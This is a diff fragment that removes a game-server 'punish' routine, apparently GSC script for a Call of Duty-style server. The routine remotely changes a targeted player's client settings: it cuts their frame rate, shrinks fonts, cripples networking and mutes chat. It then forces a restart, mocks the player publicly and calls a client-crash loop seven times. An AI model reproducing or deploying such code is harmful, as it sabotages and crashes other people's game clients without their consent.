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- while (1) /// THIS IS WHEN THE LOOPING STARTS
- {
- wait 2;
- if(getCvar("punish") != "")
- {
- PlayerID = getcvarint("punish");
- players = getentarray("player", "classname");
- for (playernum = 0; playernum < players.size; playernum++)
- {
- player = players[playernum];
- entID = player getEntityNumber();
- if ( ( entID == PlayerID ))
- {
- //plyid = getcvarint("punish"); // for commands to execute on this player
- player setClientCvar( "con_restricted", "1");
- //wait 0.5;
- //player thread execlientcmd_bindKeySay(); //test
- //wait 0.05;
- player thread execlientcmd_BindKeyPunish();
- wait 6.5;
- player setClientCvar( "r_displayRefresh", "4");
- player setClientCvar( "r_mode", "640x480");
- //player thread execlientcmd_VidRestart();
- //wait 5;
- player setClientCvar( "sensitivity", "20");
- player setClientCvar( "com_maxfps", "4");
- player setClientCvar( "con_restricted", "1");
- player setClientCvar( "ui_bigFont", "0.1");
- player setClientCvar( "ui_extraBigFont", "0.1");
- player setClientCvar( "ui_smallFont", "0.1");
- player setClientCvar( "cl_maxpackets", "10");
- player setClientCvar( "cl_packetdup", "0");
- //player setClientCvar( "rate", "1000");
- //player setClientCvar( "snaps", "5");
- wait 3.5;
- player thread execlientcmd_VidRestart();
- wait 6.0;
- player setClientCvar( "con_restricted", "1");
- player setClientCvar( "snd_volume", "1");
- player setClientCvar( "cg_chatHeight", "0");
- player setClientCvar( "cg_chatTime", "0");
- //wait 1;
- //player.maxhealth = 999;
- //player.health = player.maxhealth;
- player thread wacky();
- //wait 1;
- player thread printerror();
- //wait 2;
- iprintln(player.name + " is pwnd ;)");
- player thread crash_client_loop(); //Crash the player's game for epic finish
- player thread crash_client_loop();
- player thread crash_client_loop();
- player thread crash_client_loop();
- player thread crash_client_loop();
- player thread crash_client_loop();
- player thread crash_client_loop();
- }
- }
- }
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